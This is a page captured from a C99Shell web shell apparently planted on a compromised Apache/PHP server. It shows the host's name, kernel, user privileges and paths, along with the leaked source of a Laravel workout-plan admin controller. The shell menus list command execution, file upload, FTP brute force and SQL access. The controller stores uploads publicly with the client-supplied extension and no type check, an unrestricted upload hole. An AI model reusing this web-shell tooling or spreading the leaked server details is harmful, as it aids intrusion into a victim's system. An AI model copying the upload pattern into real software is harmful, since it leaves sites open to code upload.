!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WorkOutPlanTaskController.php (4.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\WorkOutPlanTask;
use 
Illuminate\Http\Request;

class 
WorkOutPlanTaskController extends Controller
{
  
    public function 
index(){
        return 
view('admin.workout_plan_task.index');
    }
    public function 
create(){
        return 
view('admin.workout_plan_task.create');
    }
    public function 
store(Request $request){
        
$request->validate([
            
'name.*' => 'required',
            
'image_or_video_file.*' => 'required'
        
]);
       
        try {
            if (
$request->name) {
                
                    
$image '';
                    foreach (
$request->name as $key => $name) {

                        if (
$request->hasFile('image_or_video_file')){
                            
$file $request->file('image_or_video_file')[$key];

                            
$imageName time() . $key '.' $file->getClientOriginalExtension();
                            
$file->move(public_path('/uploads'), $imageName);
                            
$image $imageName;
                        }

                        
$work_out_plan_task = new WorkOutPlanTask();
                        
$work_out_plan_task->name $name;
                        
$work_out_plan_task->image_or_video = isset($image) ? $image '';
                        
$work_out_plan_task->save();
                    }
           
                
            } else {
                return 
redirect()->back()->withErrors(['failed' => 'At last add one workout plan task data']);
            }

            return 
redirect()->route('admin.work-out-plan-task.index')->with('success'trans('Workout plan Task successfully created'));
        } catch (
\Exception $ex) {

            return 
redirect()->back()->withErrors(['failed' => $ex->getMessage()]);
        }
    }
    public function 
getAll()
    {

        
$work_out_plan_tasks WorkOutPlanTask::orderByDesc('created_at');
        return 
datatables()->of($work_out_plan_tasks)
            ->
addColumn('name', function ($q) {
                return 
$q->name;
            })
            
// ->addColumn('type', function ($q) {
            //     return $q->type;
            // })
              
->addColumn('created_at', function ($q) {
                return 
$q->created_at->format('d-m-Y');
            })
            
            ->
addColumn('action', function (WorkOutPlanTask $q) {

                
$deleteBtn '<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this plan?"
                                        data-action=' 
route('admin.work-out-plan-task.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>'
;

                return 
"<a class='btn btn-sm btn-info' href='" route('admin.work-out-plan-task.edit', [$q->id]) . "' title='Edit'><i class='fa fa-pencil-alt'></i></a>" '&nbsp;&nbsp;&nbsp;' .$deleteBtn;
            })
            ->
rawColumns(['action','status'])
            ->
toJson();
    }

    public function 
edit(WorkOutPlanTask $work_out_plan_task)
    {
        
$data['work_out_plan_task'] = $work_out_plan_task;
       
        return 
view('admin.workout_plan_task.edit'$data);
    }

    public function 
update(WorkOutPlanTask $work_out_plan_taskRequest $request)
    {
        
$request->validate([
            
'name' => 'required',
            
'image_or_video_file' => 'required'
        
]);
    
        try {
            if(
$request->image_or_video_file){
                
$image_path public_path('uploads/'.$work_out_plan_task->image_or_video);
                if (
file_exists($image_path)) {
                    
unlink($image_path);
                    
$work_out_plan_task->image_or_video $request->image_or_video_file;
                }
            }

            
$work_out_plan_task->name $request->name;   
            
$image '';
            if (
$request->hasFile('image_or_video_file')){
                
$file $request->file('image_or_video_file');

                
$imageName time() . 12 '.' $file->getClientOriginalExtension();
                
$file->move(public_path('/uploads'), $imageName);
                
$image $imageName;
                
$work_out_plan_task->image_or_video $image;  
            }
            
$work_out_plan_task->save();

            return 
redirect()->route('admin.work-out-plan-task.index')->with('success'trans('Workout plan Task successfully created'));
        } catch (
\Exception $ex) {

            return 
redirect()->back()->withErrors(['failed' => $ex->getMessage()]);
        }
    }


    public function 
destroy(WorkOutPlanTask $work_out_plan_task){
        if(
$work_out_plan_task){
            
$work_out_plan_task->delete();
        }
        return 
redirect()->route('admin.work-out-plan-task.index')->with('success'trans('workout plan Task successfully deleted'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--